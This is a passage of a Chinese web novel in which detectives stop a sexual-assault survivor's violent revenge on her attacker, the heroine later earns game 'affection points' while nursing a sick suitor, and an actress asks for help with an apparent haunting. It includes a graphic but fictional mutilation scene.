三辆警车如同流星划破夜幕,飞也似的开向曾杭位于市中心的住宅——位于淮江市中心一栋高档公寓楼。
当然他名下的房产远不止这一处,只是这里靠近都市的心脏地带,不仅吃喝住行都很方便,周围还有很多酒吧和高档饭店,方便他把看中的女孩儿带回家里。
那天晚上,身为财经学院名誉校长的曾杭受邀参加学校组织的聚餐,席间他一眼相中了清纯可人的高梦妍,如法炮制地将她灌醉后带回自己的公寓,并对她实施了侵犯。
这是高梦妍噩梦开始的地方,她一定也会选择在这儿结束这个梦魇,亲手将恶魔送回属于他的地狱。
大堂里,秦聿风正低头查看公寓内部的户型图,一名警员拿着平板电脑匆匆走过来:“秦队,监控显示二十分钟前曾杭跟一位年轻女子一起进了电梯。”
监控视频里的女孩虽然戴着大波浪假发,画着妖艳的浓妆,但祝好还是一眼认出了她就是高梦妍。而她身旁肥头大耳、满脸醉意的无疑就是曾杭了。
或许是因为浓妆艳抹、穿着性感的高梦妍形象跟平时反差太大,又或许是因为曾杭喝醉了酒、意识不清醒,总之他居然没认出眼前的艳遇对象跟当初要把他送进监狱的是同一个人。电梯还在运行时,他就忍不住露出淫|笑,开始对高梦妍动手动脚。
高梦妍脸上带笑、假意迎合,但看向摄像头的瞬间,目光却写满了令人森然的寒意。
又有一名警员小跑过来汇报道:“秦队,我们在楼下看过了,曾杭的房间里亮着灯,但屋里没人应答,我从物业那里拿了备用钥匙。”
秦聿风点点头,迅速跟几名警员交代完注意事项后,刚要带队上电梯,又突然想到了什么,转头对祝好说:“祝好,你在这儿等着吧,我跟老程带队上去就行。”
祝好当然不想留守在楼下干等,但又不知怎么开口提出自己也想要一起上去。
程述仿佛洞穿了她的心思,说道:“让她一起吧,同为女孩儿,高梦妍对她可能不会那么戒备,必要的时候她可以帮上忙。”
似乎是觉得他说得有道理,秦聿风稍一思索后还是答应了,叮嘱道:“行,但是一定要注意安全,不要擅自行动,知道吗?”
祝好赶紧点头。
电梯很快到达曾杭家所在的楼层,在秦聿风的示意下,警员用钥匙小心翼翼打开了公寓的大门。
客厅一片漆黑,借着门外的光,可以看到地上掉落着一些散发着浓重酒味的衣物,一路延伸到房间。
房间门缝底下透着亮光,里面隐隐传来一阵窸窸窣窣的声音,像是交谈,又像是呜咽。
一名警员走到门边轻轻拧动门把手,却发现房间门已经被反锁。
他回头看向秦聿风,秦聿风对他点了点头之后,朝其他人做了个手势,所有人都默契地向旁边退了几步。
警员卯足力气,狠狠往门上踹了几脚,门轰然打开,其余警员举着枪鱼贯而入。
只见曾杭浑身赤裸呈大字型仰面躺在床上,手脚都被牢牢捆住。他的嘴被胶带封住了,头上套着个透明的塑料袋。
看到从天而降的警察,曾杭如同见到了救星,激动得涕泗横流,肥胖的身躯不停蠕动,嘴里“呜呜呜”喊着什么。
高梦妍显然也被突然出现的警察吓了一跳,迅速操起起放在床边的匕首,架在曾杭的脖子上,情绪突然激动起来:“后退!全部后退!不然我马上就把他杀了。”
秦聿风赶紧示意所有人收起配枪,原地待命,然后温声对她说道:“高梦妍,把刀放下。我们是警察,我们是来帮你的。”
高梦妍的声音森冷:“帮我?你们知道他都对我做了什么吗?”
秦聿风说:“知道,他把你灌醉,伤害了你——不止你,还有很多其他女孩。”
眼泪顺着高梦妍的脸颊滑落,脸上的妆容也一点点晕开:“既然你们什么都知道,为什么他还能像没事人一样出国旅游,夜夜笙歌,而我们这些受害者受到了伤害,每天晚上被噩梦惊醒,却连一个公道都得不到?”
“你们警察口口声声说要惩恶扬善,所以对你们来说,他是善吗?如果不是的话,你们为什么要阻止我?”
秦聿风哑然,竟一时不知怎么回答,只好劝慰道:“你别激动,把刀放下,我们可以好好谈。”
高梦妍苦笑:“没什么好谈的,我杀了那么多人,已经回不了头了。”
房间里的气氛一时有些胶着,在这种情况下,没人敢再开口说话,生怕高梦妍受到刺激后会做出不理智的举动。
程述突然轻咳一声,打破了令人焦灼的安静。他挤开围在床边的几名警员,双手插在口袋里,若无其事地在床尾坐下了。
高梦妍仿佛一只紧张的刺猬,全身的刺立刻竖起来,架在曾杭颈间的匕首又加了几分力气:“别靠近,赶紧滚!我不想伤害其他人,只想杀了他!”
程述露出一个稍显迷茫的表情,随即恍然大悟般笑了笑:“别紧张,我不是来阻止你的。说实话,就算我是个男的,也觉得他人渣。你杀他是应该的。”
说完又狡黠地笑了一下,低声问道:“不过一刀割断他的喉咙,这样的死法,会不会太无趣了?”
第145章
高梦妍愣了一下,有些不可置信:“你、你说什么?”
程述耸了耸肩,一幅十分惋惜的模样:“如果你一刀就把他了结,他岂不是死得太痛快了?掐紧塑料袋的袋口,让空气一点点从他身体抽离,看着他痛苦地慢慢窒息,听他承认自己的错误、哀求你的原谅,不才是你想要的吗?”
“或者我换个说法,跟之前那些男人相比,这头肥猪难道不值得痛苦百倍的死法吗?”
曾杭闻言瞪大双眼,如临大敌般扭动着身体,似乎是担心高梦妍真的会听他的话。要不是他的嘴被封住、只能发出呜呜声,一定会跳起来指着程述的鼻子破口大骂。
程述对他的举动置若罔闻,小心翼翼地朝高梦妍靠近
了些,说道:“我也有憎恶到恨不得看着他死在我面前的人,所以我能理解你的心情。”
“理解?”高梦妍一愣,接着像是听到了什么好笑的事,忍不住发出一声令人毛骨悚然的笑:“你别过来,在过来我就一刀刺穿他的喉咙!你所谓‘理解’不过是嘴上说说而已,你们这群男人真的能够设身处地理解我们吗?你知不知道我为什么要杀掉那几个人?”
程述停住了动作,静静看着她。
“隗泽换了无数个女朋友,可我亲眼看到他和另一个男孩在角落里接吻。用别人的真情实感来掩饰自己的性取向,亏他想得出来。况且我给过他机会了,那天我约他去酒吧时当面试探过他,如果他当时跟我说了实话,他就不会死。可他宁愿跟我去开房,也不愿承认自己的本性。”
“那个银行职员,手上戴着婚戒,手机壁纸上是老婆的照片,表面上看起来是个顾家的好男人,背地里干的都是什么事?他在酒吧里勾搭其他女人的时候,有体谅过妻子十月怀胎的辛苦吗?”
“那个主播就更不用说了,把偷拍的视频当成炫耀的资本,大肆分享给周围的人,丝毫不顾及那些女孩的感受。”
高梦妍恶狠狠地看向曾杭:“还有一些人,总以为自己有权有势就可以为所欲为,随意践踏别人的尊严,不需要受到任何惩罚。这些男人简直死有余辜!”
因为紧张和愤怒,她的全身止不住剧烈颤抖,手里的匕首也不受控制地划动,在曾杭的脖子上留下了一道血痕。
疼痛让曾杭又一次发出“呜呜”的惨哼,身下洇开一片尿液,散发出令人作呕的臊臭。
“怎么这就害怕了?”看着床上的一大滩尿渍,高梦妍冷冷地笑了一声:“你们男人全都是用下半身思考的动物,最擅长的事就是欺骗女性的感情、把女性当成玩物。当初我哭喊着求你不要那么做的时候,你怎么就没想过自己会有这样的一天?”
趁她的注意力都放在曾杭身上,程述又悄悄朝她靠近了一些。
可她敏锐地察觉到异常,抬起没有拿刀的那只手指着程述,目光和语气一样冰冷:“还有你,你不就是想刺激我、让我露出破绽,趁机抢下我手里的刀吗?你们男人就是自信得愚蠢,以为自己轻而易举就能掌控一切,我不会上当的!不管用什么方法,只要他死了对我来说都是好事!你给我滚!退到那边去!”
程述微微眯起眼,似乎也没料到她会那么快反应过来,但没有草率行事,只是隐晦地跟秦聿风交换了一个眼神之后,顺着她的话从床上站起来往后退了一些。
房间里的气氛又一次凝滞住了,空气中流动着危险的信号,每个人都紧绷着神经,却不敢再移动半步。
高梦妍手中的匕首紧贴着曾杭的皮肤,殷红的鲜血顺着伤口流出,浸湿了枕头。
她用带刺的外壳把自己包裹得密不透风,视线扫过房间里的每一个人,眼神里充满了警惕,防备着任何她认为不怀好意的接近。
但祝好却发现她看向自己时,眼中的温度并不似看其他人那般冰冷。
或许如程述所说,她的敌意只针对男性,而对同为女性的祝好不会那么戒备。
祝好吸了口气,把自己的声调拿捏得平稳又轻柔:“梦妍姐——我看过你的资料,你比我大几岁,介意我叫你姐姐吗?”
高梦妍没有回答,但脸上却多了一丝不易察觉的柔和。
祝好试探性地朝她挪动了几步,始终跟她保持着眼神交流:“我很感谢你把那些人渣都杀了,他们都很该死,可是……我很心疼你。”
高梦妍的目光微微闪烁着诧异,嘴唇剧烈地哆嗦了几下,但似乎并不抗拒她的靠近。
秦聿风紧绷的声音在身后响起:“祝好!”
程述抬起胳膊摁住他的肩膀,用嘴型告诉他没事。
祝好没有停下来,她能感觉到高梦妍身上那股戾气正在逐渐消失。
直觉告诉她,高梦妍不会伤害她。
她徐徐走到高梦妍面前蹲下,抬起头一瞬不瞬地凝视她的眼睛:“可你是在用自己余下的人生去惩罚他们,他们并不值得你这么做。”
高梦妍愣怔住了,睫毛轻轻一颤,眼泪哗地流了下来,但还是翘起唇角,露出一个半酸不苦的微笑:“没关系的,妹妹,只要我把他杀了,他就没办法再伤害其他女孩了。”
祝好握住她没有拿刀的那只手,轻轻摇头:“如果我也是其中一名受到侵犯的女孩,我更愿意亲眼见证他受到法律的制裁,听到他发自内心的忏悔,看他成为人人喊打的过街老鼠,从此身败名裂,被万人唾弃,而不是让他就这么死去,以受害者的身份出现在新闻上。”
高梦妍目光一颤,含泪的眼里似乎多了几分松动。
“梦妍姐,请你相信我。屋子里的这些人在道德上不一定是十全十美的,但他们的职业素养绝对没得说。我还有在电视台工作的朋友,今晚过后,我们一定会把真相告诉所有人,这一回不会再有人能够逃脱,做错事的人会得到应有的惩罚。”
祝好缓缓起身,坐在高梦妍身旁,抬起手动作轻柔地拭去她脸上的泪水:“我希望你能和我、和其他受伤害的女孩一起见证这一切,好吗?”
高梦妍垂下眼帘,似乎是在思索她的话。片刻后,她掀开眼皮,眼神中浮现出一丝神光,从胸臆深处轻轻吐了口气,点了点头:“好。”
祝好松了口气,揽住她的脖子将她抱在怀里,右手温柔地握住她的手腕,正要从她手中接过那把匕首,却听到她轻叹一声:“对不起,但有一个仇,我必须要亲手报。”
说完她挣开祝好猛地朝前一扑,一把揪住了曾杭胯间的生殖器,毫不犹豫地手起刀落。
下一秒,一坨血肉模糊的物体和匕首一起掉落在地上。
突如其来的一幕让所有人的大脑都停转了,片刻后,迟滞的空气随着曾杭从鼻腔里迸发的一声沉闷的哭腔重新开始流动。
被大脑屏蔽的痛感姗姗来迟,曾杭脸上的塑料袋随着他的呼吸猝然收紧。若不是嘴被胶带封住,他痛苦的哀嚎一定会掀翻天花板。
被鲜血溅了一脸一身的高梦妍跪在床边,脸上露出复仇般的快意,难以自抑地又哭又笑。
警员们猛然间反应过来,迅速上前将她铐住,七手八脚地解开了曾杭手脚上的绳索,把床单堆在他裆部试图止血,并及时拨打了120。
虽然见过不少案发现场,但祝好还是第一次直面这样血腥的场景。愣神少顷,她堪堪反应过来,胃部突然拧紧,喉头一翻,扯过脚边的垃圾桶吐得稀里哗啦,周遭的嘈杂声在脑子里糊成一片。
极度的疼痛和恐惧让曾杭失去了挣扎的力气,躺在床上一声接一声发出气若游丝的呻吟,还不忘提醒秦聿风:“赶紧帮、帮我冰起来……没有那玩意儿……我、我活着还有什么意思?”
秦聿风刚要叫人去拿冰块,身后的程述突然“嘶”地吸了口气,懊恼地啧了一声:“太小了,没看清,不小心踩了一下,不好意思啊。”
“……”秦聿风无奈地看着地上被他“不小心”狠狠碾了一脚的生殖器,却也没说什么,只是没好气地朝警员摆了摆手:“去厨房拿冰块,能不能接上就看他造化了。”
救护车呼啸而至,将曾杭和被装在放满冰块的玻璃碗中的生殖器一同接走了,高梦妍也被押送回警局,接受进一步的调查审理,一片狼藉的房间内只剩下秦聿风和一两个警员收拾残局和拍照留证。
祝好几乎要把胃里的东西全都吐出来,胃酸带来的灼烧感在喉咙里留下难忍的辛辣,口腔内残存的味道刺激着眼泪不断流溢。她扶住床头柜大口喘气,被泪水模糊的眼前突然出现一双鞋尖上沾了些许血迹的靴子。
程述蹲下身,递给她一瓶拧开盖子的矿泉水:“漱漱口。”
她接过矿泉水猛灌几口,用袖子擦掉了眼泪 ,缓了好半天,才拉住程述朝她伸出的手,借力站了起来。
程述看了她一眼,从床头抽了几张纸巾,用剩下的矿泉水浸湿,仔仔细细地擦拭她的脸。
祝好愣了一下,直到瞧见纸巾上的刺眼的殷红,才反应过来自己身上也被溅了一些血,嫌弃地脱下身上的外套,打算找个垃圾桶扔了。
秦聿风小心地避开地上的血迹朝他们走来,轻轻拍了拍祝好的胳膊以示安慰:“祝好,刚才你的表现很好。不过下回还是要记住把自己的安全放在第一位,好吗?”
程述若无其事地把手上的血擦在他衣服上:“说这种马后炮的话,还不如给她申请个见义勇为奖来得实在呢。”
“去你的!”
秦聿风屈膝往程述屁股上来了一脚,被他灵活地闪开,顺势扶着祝好的肩膀往门外走去:“加班结束,回家睡觉。”
第146章
回家路上,系统提示音又一次响起,提示祝好这一阶段的任务已经完成。但祝好一点儿也高兴不起来,脑子里总是浮现出高梦妍那张含着泪却带笑的脸。
或许是因为同为女性,她总是不由自主对女性抱有更多的恻隐之心。
不论是为了保护女儿而杀死丈夫的叶怡然、为了把身份“送”给双胞胎妹妹而设计让人杀死自己的韩瑾,亦或是受过伤害、想替自己和其他女性报仇的高梦妍,究其根本,她们犯罪的诱因都不完全出于自私。
然而程述说的也没错,不管是基于何种原因,法律大多数时候是公正的,任何人都不能凌驾其上,不论是恩仇还是私情。
翌日祝好一觉睡到了晌午,迷迷糊糊睁眼时,发现窗外是一片茫茫的白色。
下雪了。
她精神一振,连外套都来不及穿上就一路小跑来到客厅,推开窗子。
漫长的冬天拉开了序幕,棉絮般的雪花纷纷扬扬倾洒,把天地连成一片难以分割的雪白。
她拿出手机对着雪景拍了张照片,刚要一键发送给几个可攻略对象,就听到不知什么时候出现在她身后的程述意味深长地嗤笑了一声。
她怔了怔,下意识把手机屏幕往下扣:“你笑什么?”
“笑你这个海王捕鱼技巧还不错,挺会省时省力的。窗子别开那么大,暖气都跑出去了。”他把窗子扣紧,转身走回沙发上躺下,后脑枕着手臂继续看手里的书。
祝好瞪了他一眼,无端有些心虚,想了想,还是勾掉了温珣和秦聿风的名字,把那张照片单独发给了李砚川,然而过了半个小时也没等到他的回复。
祝好觉得有些不对劲,他平时几乎是秒回信息的,这个时间他也应该起床了,怎么会半个小时都没有回应呢?
她忽然想起来之前还答应他平安夜要一起出去玩,但前几天因为高梦妍的案子过得昼夜颠倒,连时间都不记得了。
李砚川该不会是因为这个生她的气了吧?
思来想去,她还是拿起手机给李砚川打了个电话。过了好一会儿,电话才接通。
“李砚川?”
“嗯,好好。”
李砚川的声音沙哑,还带着闷闷的鼻音,听起来和平时不太一样,但明显没什么不满的情绪。
“李砚川,你声音怎么了?”
“没事,我……”话还没说完,对面就传来几声不受控制的咳嗽声,怎么看都不像是“没事”的样子。
祝好意识到什么:“李砚川,你是不是生病了?”
电话那头的李砚川沉默了一下才回答:“有一点发烧,可能是受寒感冒了,不过没什么大碍。好好,你今天不忙吗?有没有想去的地方?”
这人都生病了怎么还想着出门呢?
祝好说:“没有,你发烧了还是在家好好休息吧。”
他委屈地嘟囔:“可我好久没见到你了,我想见见你。”
祝好耐心地哄他:“等你病好了再说,好吗?”
李砚川缄口不言,过了好一会儿才低低地应了声“好”,短短一个字仿佛带着无数的委屈和幽怨。
挂了电话,祝好望着窗外的雪幕发了会儿呆,总觉得这种时候自己好像应该做些什么。
她转头问躺在沙发上看书的程述:“老大,如果你生病的时候有人照顾你,你会觉得感动吗?”
程述眼皮也不抬:“我从不生病。”
祝好强调:“如果!”
“没有如果,我从不生病。”
真是一生要强的男人。
祝好懒得跟他掰扯,简单洗漱后回阁楼换了衣服:“我出去一趟,晚上不回来吃饭了。”
程述把书反扣在胸口,辨不出情绪的眼眸望向她:“去哪儿?”
“去李砚川家,他生病了,我去看看他。”
他没说什么,只是淡淡地“嗯”了一声,顿了顿,又补了一句:“记得带伞。”
猝不及防的大雪让淮江市的交通陷入了拥堵,出租车在市中心的路上堵了大半天,才终于艰难地开到了李砚川家的别墅区门口。
祝好撑着伞踩着雪走进别墅区,来到李砚川家门前,摁响门铃,等待许久门才打开。
李砚川头发凌乱,面容疲倦,额间被一层薄汗覆盖,身上只随意披了件睡袍,看着像是刚刚睡醒。
看到站在门外的祝好,他一脸讶异:“好好?你怎么来了。”
祝好笑了笑:“你不是说想见见我吗?”
“是,不过……”李砚川靠在门边,迟迟没把门打开,看起来有些踌躇。
祝好问:“不欢迎我进去?”
“当然不是!”李砚川不好意思地抓了抓脑袋,解释道:“我今天没洗头,这几天身体不舒服也没让阿姨来收拾,家里乱糟糟的。”
好家伙,敢情还有偶像包袱呢。
“没关系,我不在意这个。”
听她这么说,李砚川才把门打开,侧身请她进了屋里,然后迈着虚浮的步子走向餐厅,强撑着精神收拾堆在岛台上的外卖盒。
祝好抬手拦住他:“别收拾了,赶紧去床上躺着。”
李砚川看着不太情愿,但也许是因为身体确实不舒服,还是答应了。
系统响起提示音:“跟李砚川的好感度+5,获得50积分。”
祝好内心暗喜,脱下外套,抖落上面的雪花,跟李砚川一起回到楼上的房间,指了指有些凌乱的床榻,示意他赶紧上床休息。
李砚川没有动身,面露为难:“好好,我想去洗个澡。”
祝好摇头否决:“发烧的时候不能洗澡。”
“可是……”李砚川理了理睡袍的领口,犹豫着开口:“我担心我身上会有奇怪的味道。”
祝好举手薅住他的肩膀把他往床上带,安慰道:“我生病的时候比你还狼狈,再说了,我也没闻到你身上有奇怪的味道。”
也不知道是不是太虚弱,李砚川这么高的个子,轻轻松松就被她推到床边躺下。
给他盖上被子后,祝好伸手覆上他光洁的额头。掌心传来一阵灼热,看来他的烧还没有退。
“李砚川,你吃过药了吗?”
李砚川乖乖点头:“刚才吃了。”
看得出他已经很疲惫了,双眸仿佛蒙上一层潮湿的雾气,迷离的目光却始终跟随着祝好的动作游弋。
祝好在床边坐下,拿起床头的感冒药看了一眼,发现说明书上写着的副作用包括了嗜睡。她放下药盒,给他掖紧被角:“那你闭上眼睛好好睡一觉吧。”
李砚川摇摇头:“我不想睡。好好,我好久没见到你了,我想多看看你。”
“你放心吧,我不走,今天我就在你家陪你。”
系统又一次响起提示音:“跟李砚川的好感度+5,获得50积分。”
祝好心说李砚川作为可攻略对象,难度一定是d级的,这未免也太容易打发了吧。
“真的吗?”得到肯定的回答,李砚川还是不肯闭上眼睛:“可我还是想跟你说说话。”
他眼里的雾气还没散去,却好似徐徐泛起一层波纹。
面对长得那么好看的人的撒娇,祝好实在没办法拒绝,于是败下阵来:“你想跟我聊什么?”
李砚川轻轻握住了她的手腕:“外面下了那么大的雪,你还特地过来看我,谢谢你,好好。”
祝好心虚地笑了笑没说话,毕竟自己也是夹带了私心的——生病的人往往身体和心理都很脆弱,最容易受感动了。事实证明她的想法没错,来这儿的短短半个小时内,好感度就已经提升了10点。
李砚川没察觉她的异样,还在自顾自地喃喃着:“好好,我第一次见到你时,就觉得你很特别。”
“怎么个特别法?”
“就好像我认识了你很久,没有来由地对你感到信任,不论看到什么、想到什么,都想第一时间跟你分享……”
他的声音越来越小,眼神也越来越迷离。
他已经疲倦到了极点。
祝好轻声说:“李砚川,你该睡了。”
李砚川听话地点点头,把她的掌心贴在自己脸上摩挲,闷闷地“嗯”了一声,闭上眼睛沉沉睡去。
清浅的呼吸有意无意地拂过祝好的手心,酥酥痒痒。祝好想要抽回手,却发现就算在睡梦中,他也无意识握得很紧。
明明刚才还那么虚弱,怎么现在力气那么大了?
屋里暖气很足,就算不盖被子也不会觉得冷。祝好和衣靠着床边躺下,看着李砚川沉静的睡颜发呆,思绪无端有些混乱。
也不知是不是烧得太厉害,他说的话比平时更直白了,但祝好一时没办法分辨他对自己那些没由来的熟悉和信任,究竟是不是因为在游戏的底层核心设定中,可攻略对象本就对她有着天然的好感。
万千混乱的念头在脑海里盘桓,祝好的眼皮逐渐变得沉重,不知不觉竟然睡着了。
也不知过了多久,迷迷糊糊中,她感觉有温热的触感在脸上轻轻摩挲,睁开眼时,发现李砚川的脸近在咫尺。
她吓了一跳,差点儿没叫出声。
李砚川半眯着的眼神迷蒙,像是还沉浸在半梦半醒中,嘴里呢喃着:“好好,你真好看。”
祝好浑身僵硬,下意识想起身,却发现自己被他紧紧搂在怀里,根本动弹不得。
灼热的呼吸越来越近,祝好赶紧偏过脸,抬手挡在两人之间,轻声喊他的名字:“李砚川,醒醒……”
听到她叫自己的名字,李砚川猛然回过神,眼里的迷茫散去,逐渐转变为清醒,连忙松开抱住她的手,目光猝然转向别处:“对、对不起,好好,我还以为我在做梦。”
“咳,没关系。”祝好努力装作毫不在意的模样,起身探了探他额头的温度,发现他的烧已经退得差不多了,便自然地转移了话题:“你饿了吗?要不要吃点东西?”
李砚川白皙的皮肤染上一层淡淡的红晕,似乎是为自己刚刚无礼的举动懊恼,仍不敢看她的眼睛,答非所问:“没关系,叫个外卖就行。”
“别吃外卖了,我去给你熬个粥吧。”
祝好借口离开了他的房间,关上门后,靠在走廊的墙上平复心情,脑子里不合时宜地冒出一个念头:啧,刚刚为什么要躲?
李砚川这么好看,亲一下好像也不亏。再说了,没准一个吻还能提升不少好感度呢。
可惜一切都已经太迟了,现在回去把他摁在床上再亲一顿好像也不太合适,算了,来日方长,下次有机会再亲吧。
祝好收敛起乱七八糟的思绪,来到楼下的厨房淘米煮粥,熬粥的时候,顺手把到台上的外卖盒给收拾干净了。
过了一会儿,李砚川换好一套干净的睡袍从楼上下来,头发也顺手打理了一下,显得没那么凌乱了。
他踌躇着开口:“好好,刚才——”
祝好抬手打断他未完的话:“刚刚你只是不太清醒而已,真的没关系。”
“可是……”
“没有可是,不说这个了。”
——再说下去她又要后悔了。
李砚川点点头,在岛台边坐下,用力嗅了嗅:“好香啊,你熬了什么粥?”
“牛肉粥,用你冰箱里的牛排做的。”祝好掀开锅盖,用勺子搅了搅,看米粒都已经开花了,就给他盛了一碗。
李砚川尝了一口,赞叹道:“真好吃,好好,你好厉害。”
祝好谦虚地摆了摆手:“你冰箱里食材不多,我就随便做了。”
系统第三次响起提示音:“跟李砚川的好感度+5,获得50积分。”
祝好:……
如果她是海王,那李砚川大概就是一条不需要鱼饵、只需要勾勾手指就会主动跳进锅里的鱼吧。
李砚川不是跟她客气,埋头吃完了一整碗粥,精神好了不少,声音也没那么沙哑了。
他放下碗,突然想到什么,问道:“对了,好好,你认识江绮吗?”
江绮?祝好在脑子搜索了一下这个名字,无端觉得有些熟悉,但又一时记不起来是谁,便摇了摇头。
李砚川拿出手机在屏幕上划拉了一下,把搜索到的照片给她看。
照片上是一个美得十分明艳张扬的年轻女人,眉目间仿佛流转着勾人心魄的深情。盯着照片看了好一会儿,祝好才记起曾在街上不少广告牌上见过她的身影,难怪会觉得这个名字耳熟呢。
不过李砚川突然提起她,是有什么事吗?
李砚川洞察了她的疑惑,解释道:“江小姐是一名演员,也是我一个合作伙伴的朋友。前两天她托我要一下侦探先生的联系方式,说想让他帮忙调查一些事情。不过我这几天身体实在不舒服,差点给忘了,见到你才突然想起来。”
一个知名女演员遇到了什么问题,想要找侦探帮忙调查?
祝好的好奇心被勾了起来,问道:“什么事?”
李砚川顿了顿,左右看了一眼,仿佛担心有人偷窥似的,然后压低声音说道:“她说,她见鬼了。”
第147章
“都说了,撞鬼了要么去找跳大神的驱鬼,要么就去精神科看脑子,找我干什么——让开,我要洗澡。”
程述站在卫生间里,脖子上挂着毛巾,无奈地看着跟在他身后絮叨了一晚上的祝好。
祝好一手撑住门,一手把手机伸到他面前:“你看,这是江绮的生图,没p过的,多美啊!你不是说你喜欢长得好看的吗?”
程述兴致缺缺,连眼皮都懒得抬:“在广告上见过了,不是我喜欢的类型。你到底出不出去?不出去我就开着门洗了。”
祝好不相信他会真的开着门洗澡,对他的话置若罔闻,撅着嘴看了眼手机上的照片,皱了皱眉:这都不喜欢?口味还挺挑。
她换了个策略:“我上网查过了,江绮是近几年风头正盛的女演员之一,拍过不少知名的电影电视剧,手里有好几部电影的合约呢,所以……”
程述利索地脱掉T恤,露出了上半身流畅的肌肉线条,掐着腰玩味儿地朝着她挑了挑眉:“所以什么,接着说啊。”
祝好:“……”
她强迫自己原地镇定,抬头看着天花板:“所以她肯定很有钱,委托费绝对不会少的,你不是说想换车吗?还要攒点老婆本……”
程述打断她:“这是你的剧情任务吗?”
祝好一怔,实话实说:“不知道。”
可能是也可能不是,毕竟每个阶段的剧情开始之前系统都不会有提示,这回究竟是触发了剧情任务,还是只是个单纯的委托,祝好心里也没个准。
至于为什么想接下这个委托,是因为恐怖惊悚类的电影她看了不少,“见鬼”这两个字一登场就成功引起了她的兴趣,她迫不及待想要知道这件事的始末 。
能听故事、能见到活的大明星、能挣到委托费,没准还能顺便完成一个剧情任务、拿到奖励积分,怎么想都是一笔稳赚不赔的买卖。
要不是对方指定要程大侦探亲自调查,她恨不得单枪匹马接下这个委托。
程述无可奈何地叹了口气:“那你想接就接吧。”
祝好没想到他突然松了口,打好的腹稿失去用武之地,一时反应不及,下意识地顺着话音看向他。
目光触及他光裸的上半身,又不由自主地移开视线:“你答应了?”
程述装模作样地揉了揉耳朵:“再不答应我耳朵都要长茧了。”
祝好喜不自禁:“那我给李砚川打个电话,让他把你的联系方式给那个江绮,你们好好聊聊?”
“不用,你自己看着办吧。”程述朝着门外扬了扬下巴:“出去,再不出去我真脱裤子了。”
“得令,谢主隆恩!”祝好双手合十朝他鞠个了躬,往后退了几步,顺手帮他把卫生间的门关上了。
坐回客厅的沙发上,祝好给李砚川发了条信息,让他向江绮转达接受委托的决定。
没多久,那个用来跟客户沟通的手机就响了起来,屏幕上显示的是一个陌生的号码。
祝好好整以暇地端坐着清了清嗓子,尽量让自己听起来专业点儿:“喂,您好?”
那头传来一个悦耳但略显疲惫的女声:“您好,请问是程先生的侦探事务所吗?”
祝好:“是的。”
“我是江绮,之前托李先生要了你们的联系方式,请问方便找个时间见面聊吗?”
程述正好裹着一身热腾腾的水汽从卫生间里出来,祝好捂住听筒,用口型向他复述了“见面聊”三个字。
他还是一副事不关己的模样,敷衍地朝她挥了挥手,那意思就是决定权都交给她了,爱怎么回复都行。
祝好暗喜,给了江绮答复:“没问题,我们在哪儿见?”
江绮:“那我给你们发个地址,明天早上十点钟见。”
挂断电话,一个地址和一串六位数的数字很快发送到手机上。祝好打开手机查了下那个地址,发现是一座高尔夫球场,位置就在森林公园的边上。
*
第二天,祝好和程述按照约定的时间到了高尔夫球场的门口。车刚停好,就有穿着制服的球童走过来礼貌颔首,问道:“请问是江小姐约的客人吗?”
祝好点点头。
“请您出示一下六位数的邀请码。”
原来那串数字是邀请码?
怎么见个面跟特工对暗号似的,祝好心里嘀咕着,还是拿出手机,把江绮发给她的那串数字出示给球童。
球童认真核对完信息,对他们做了个“请”的手势,把他们带到球场里,坐上提前准备好的高尔夫球车,穿过一望无际的草坪,来到了一栋三层楼高的会所前。
会所是整个高尔夫球场的运营中心,集接待、休闲、商务、办公等功能于一体,因为其独有的私密性,也成为很多商务人士进行商谈的理想地点。
在这种地方会面,看得出来,江绮对约见他们这件事十分谨慎。
从高尔夫车上下来,祝好抬手帮程述把被风吹乱的额发往后捋:“嗯,这样看起来精神点儿。”
程述双手插在口袋里,不以为意:“要那么精神干什么,我又不是来相亲的。”
话虽如此,还是难掩唇角的笑意,微微欠身垂着头方便她整理。
祝好替他捋顺头发,又顺手把他的衣领整理好,欣赏了一阵自己努力的成果后,拍了拍他的肩膀:“话不能这么说,对方好歹也是个大客户,你待会儿说话客气点,可别把生意给谈崩了。”
程述难得没反驳,只是自言自语地抱怨:“我是没想到当个侦探还要陪你抓鬼,还不如抓小三呢。”
球童领着他们穿过接待厅和长长的走廊,来到尽头的一间接待室,轻轻敲了敲门:“江小姐,您的客人到了。”
不多时门就打开了一条缝,江绮探出半张脸先是朝他们笑了笑,然后问球童:“没有狗仔盯着吧?”
球童:“没有,路上特地看过了。”
她这才放心地打开门,把祝好和程述请进去。
祝好第一次见到活的大明星,从进门那一刻一直到坐在沙发上,目光一刻都没从江绮脸上挪开,情不自禁感叹:“江小姐,你长得好漂亮!”
江绮显然对这样的话已经习以为常,只是淡淡一笑,应下了她的夸奖:“谢谢。这位就是程先生吧?”
祝好突然反应过来自己是来谈正事的,敛起了花痴的神色,一下子严肃起来:“哦……嗯,这是程述,我是他的助手,你叫我祝好就行。”
江绮朝程述笑了笑:“之前听李老板说起您的时候,我还以为是个四五十岁的大叔呢,没想到您那么年轻帅气。”
面对她这番不知是出于客套还是真心实意的夸奖,程述脸上的神色并没什么变换:“江小姐的时间应该挺宝贵的,就不用寒暄了,需要我们做什么就直说吧。”
江绮微微一怔,同意了他的提议,进入了正题:“我听李老板说,他之前被一个患有精神病的人跟踪,还差点被误会成杀人凶手。你们不仅查出真相,还救了他的命,是十分了不起的侦探,所以我才找到了你们。”
还没等他们回答,她又接着问:“我找你们的原因,你们应该也知道吧?”
祝好小心翼翼开口:“李砚川说你……撞鬼了?”
江绮的目光颤了颤,嘴唇阖动了一下:“是的。”
“可以具体说说看是怎么个事吗?”
江绮低头看着手里冒着白雾的水杯,因为过度用力,她的手指关节微微泛白:“大概一个星期前,我开始每天晚上做噩梦,梦里总是看到一个女孩站在我的床前静静地看着我,而我却动弹不了。”
说到这里,她身体控制不住地微微颤抖,停顿了很久才继续说:“后来情况越来越严重,每到晚上,我总是觉得那个身影无处不在,有时候在浴室,有时候在厨房,有时候在客厅……不管我去哪儿,她都会跟着我。”
联想到一些恐怖片的经典桥段,祝好忍不住问:“听你的描述,这些事情都是在你家发生的,会不会是你家里……有什么不干净的东西?”
江绮苦笑一下:“不瞒你说,淮江市和周边地区看事儿的我基本上都找过了。”
“有什么结果吗?”
她叹息一声:“除了留下一些故弄玄虚的话,骗走不少钱之外,没什么用处。”
“那……”祝好小心翼翼地斟酌着语气:“你去看过精神科吗?”
江绮喝了口温水,点点头:“去过,医生也检查不出原因,只是给我开了点安神的药,但是吃了也没效果。”
